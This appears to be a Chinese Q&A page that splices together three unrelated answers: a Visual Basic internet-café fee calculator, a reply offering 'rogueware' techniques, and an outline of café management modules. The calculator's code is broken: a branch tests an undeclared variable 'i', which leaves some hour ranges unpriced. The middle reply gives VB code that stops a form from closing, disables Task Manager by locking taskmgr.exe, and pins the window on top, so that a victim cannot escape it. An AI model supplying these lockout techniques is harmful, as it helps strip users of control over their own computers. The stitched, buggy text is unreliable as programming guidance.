编写应用程序（VB），计算上网费用，计算方法如下

设计界面:2个按钮控件,双击其中一个,输入

Dim

t

As

Integer

Dim

p

As

Integer

t

=

Val(InputBox("时间,以小时为单位"))

If

t

<

10

Then

p

=

25

ElseIf

(t

>=

10

And

t

<

50)

Then

p

=

t

*

2

ElseIf

(t

>=

50

And

t

<

100)

Then

p

=

t

*

1.5

ElseIf

i

>=

1000

Then

p

=

t

Else

MsgBox

"输入有误"

End

If

If

p

>=

200

Then

MsgBox

"上网费用超过200元,按200元收取"

p

=

200

End

If

MsgBox

"上网时间:"

&

CStr(t)

&

"小时"

&

vbNewLine

&

"收费:"

&

CStr(p)

&

"元"

&

vbNewLine

&

"谢谢!"

双击另外一个,输入

end

保存文件或按F5健运行查看结果

楼主我在做流氓软件把。呵呵、以前我也很困扰这个怎么来实现。我给你代码和思想。

防止关闭和最小化。你可以把窗体style改变一下 改成无边框或者边框属性只有关闭按钮的。 后者的话，在Form_Unload()事件中写入 Cancel = -1 这样，无论怎么点关闭也管不了。至于你说的任务管理器呢。用着用方法可以防止它打开任务管理器。

Private Sub Form1_Load()

Open "C:\WINDOWS\system32\taskmgr.exe" For Append As #1

'记住，这里不能关闭不能写 Close #1 否则不行。

End Sub

这样他的任务管理器就打不开了。 但是需要知道他的系统盘安装在哪个路径。 可以用API获取或者 楼主自己问把。

然后呢，这样还是远远不够的，应为即使你不让它关闭，但是对方不理你的程序你怎么办呢， 这时候你就需要用到这个API了。把程序置顶。 这样想不看都不行。 最后加一个Msgbox 。

至于你想把对方怎么样，交给你了。 给你需要的API ：

置顶代码：

Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long,ByVal hWndInsertAfter As Long,ByVal x As Long,ByVal y As Long, ByVal cx As Long, ByVal cy As Long,ByVal wFlags As Long) As Long

Public Const SWP_NOMOVE= &H2 '不移动窗体

Public Const SWP_NOSIZE=&H1 '不改变窗体尺寸

Public Const Flag=SWP_NOMOVE Or SWP_NOSIZE

Public Const HWND_TOPMOST=-1 '窗体总在最前面

Public Const HWND_NOTOPMOST=-2 '窗体不在最前面

为窗体添加代码如下：

Private Sub cmdNormal_Click()

cmdTopMost.Enabled=True

cmdNormal. Enabled= False

Form1.Captio = "现在是普通窗口"

SetWindowPos Form1.hwnd,HWND_NOTOPMOST,0,0,0,0,Flag

End Sub

Private Sub cmdTopMost_Click()

cmdTopMost.Enabled = False

cmdNormal.Enabled = True

Form1.Caption = "现在是TopMost窗口"

SetWindowPos Form1.hwnd,HWND_TOPMOST,0,0,0,0,Flag

End Sub

望成功！

网吧管理的模块大概分为：客户资料（目前的网吧都要求会员上网，登记身份z），计费模块（计费是很复杂的，要可以自己定义公式才可以），客户端控制模块（就是控制客户端机器的重新启动、锁屏，关机，对客户端机器进行设置等）

员工管理分为：员工资料管理（就是姓名，家住哪儿，学历如何，入职日期等等），员工有表现（比如评价），其它就是一些表格（报表），可能有的时候我们需要打印员工档案，或者其它的表格。当然，如果进一步扩展的话，那就可以和招聘、考勤、员工工资等挂上钩，那就比这个稍微复杂了。

---